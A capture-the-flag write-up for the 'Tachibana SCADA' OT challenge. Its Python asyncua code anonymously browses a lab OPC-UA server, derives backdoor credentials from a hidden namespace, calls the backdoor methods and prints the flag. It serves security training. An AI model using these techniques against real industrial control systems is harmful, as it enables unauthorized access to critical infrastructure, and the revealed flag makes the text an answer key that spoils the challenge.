# Tachibana SCADA

| Field | Value |
|-------|-------|
| Category | OT |
| Difficulty | Medium-Hard |
| Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |

---

## Description

After the KIDS incident, forensic investigators found an OPC-UA server still running on
the isolated SCADA segment at Tachibana General Laboratories.

The server allows anonymous connections. Beneath the standard industrial data, there is a
hidden namespace registered by Eiri Masami before his termination.

Browse the address space. Find the hidden namespace. There is a method that was never meant
to be called.

- OPC-UA Binary: `tcp/<host>:4840`

Format: **ESPILON{flag}**

---

## TL;DR

Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden
`urn:tachibana:eiri:kids` namespace. Browse it to find `Backdoor/Authenticate` and
`Backdoor/ExtractResearchData` methods. Derive credentials from the namespace URI
(username=`eiri`, key_hash=`SHA256("KIDS")[:16]`). Call Authenticate, then call
ExtractResearchData with `project_id=7` to get the flag.

---

## Tools

| Tool | Purpose |
|------|---------|
| Python 3 + `asyncua` | OPC-UA async client |
| Python 3 + `hashlib` | SHA-256 key hash derivation |

---

## Solution

### Step 1 — Connect anonymously

```python
import asyncio
from asyncua import Client

async def exploit():
    async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
        # Step 2: discover namespaces
        ns_array = await c.get_namespace_array()
        print(ns_array)
```

```
['http://opcfoundation.org/UA/',
 'urn:tachibana:scada',          ← public SCADA data
 'urn:tachibana:eiri:kids']      ← HIDDEN namespace
```

![NamespaceArray showing the hidden eiri:kids namespace at index 3](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_ns.png)

### Step 2 — Browse the public namespace (ns=2)

Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
Note `Resonance_Hz = 7.83` — a Schumann resonance breadcrumb.

### Step 3 — Browse the hidden namespace (ns=3)

```python
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
    ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
    root = c.nodes.root

    eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
    kids = await eiri.get_child(f"{ns}:KIDS_Project")
    bkdr = await eiri.get_child(f"{ns}:Backdoor")

    # Variables inside KIDS_Project
    subject_count     = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
    protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
    # Protocol7_Version = "7.0.0-alpha"  → project_id = 7

    # Methods inside Backdoor
    auth_method    = await bkdr.get_child(f"{ns}:Authenticate")
    extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
```

![browse output showing EiriMasami folder with KIDS_Project and Backdoor subfolder](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_browse.png)

### Step 4 — Read method argument descriptions

`Authenticate(username: String, key_hash: ByteString) -> session_token: String`

The `key_hash` InputArguments description says:
*"16-byte truncated SHA-256 of the project name"*

### Step 5 — Derive credentials

- **username**: `eiri` — from the namespace URI `urn:tachibana:eiri:kids`
- **key_hash**: SHA-256 of the project name, truncated to 16 bytes

```python
import hashlib

# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
```

![key_hash computation in Python REPL](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_keyhash.png)

### Step 6 — Authenticate

```python
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
    ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
    bkdr = await c.nodes.root.get_child(
        [f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])

    auth_method = await bkdr.get_child(f"{ns}:Authenticate")
    result = await c.nodes.root.call_method(
        auth_method, "eiri", key_hash)
    session_token = result[0]
    print(f"Token: {session_token}")
```

### Step 7 — Extract Protocol Seven (project_id=7)

```python
    extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
    data = await c.nodes.root.call_method(
        extract_method, session_token, 7)
    print(data[0])  # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}
```

![ExtractResearchData method call returning the flag](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_flag.png)

### Key insights

- Namespace URI `urn:tachibana:eiri:kids` directly embeds both the username (`eiri`)
  and the hash source (`kids`)
- `Protocol7_Version = "7.0.0-alpha"` encodes `project_id = 7`
- Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
- Method argument `description` properties provide all hints needed

---

## Flag

`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`
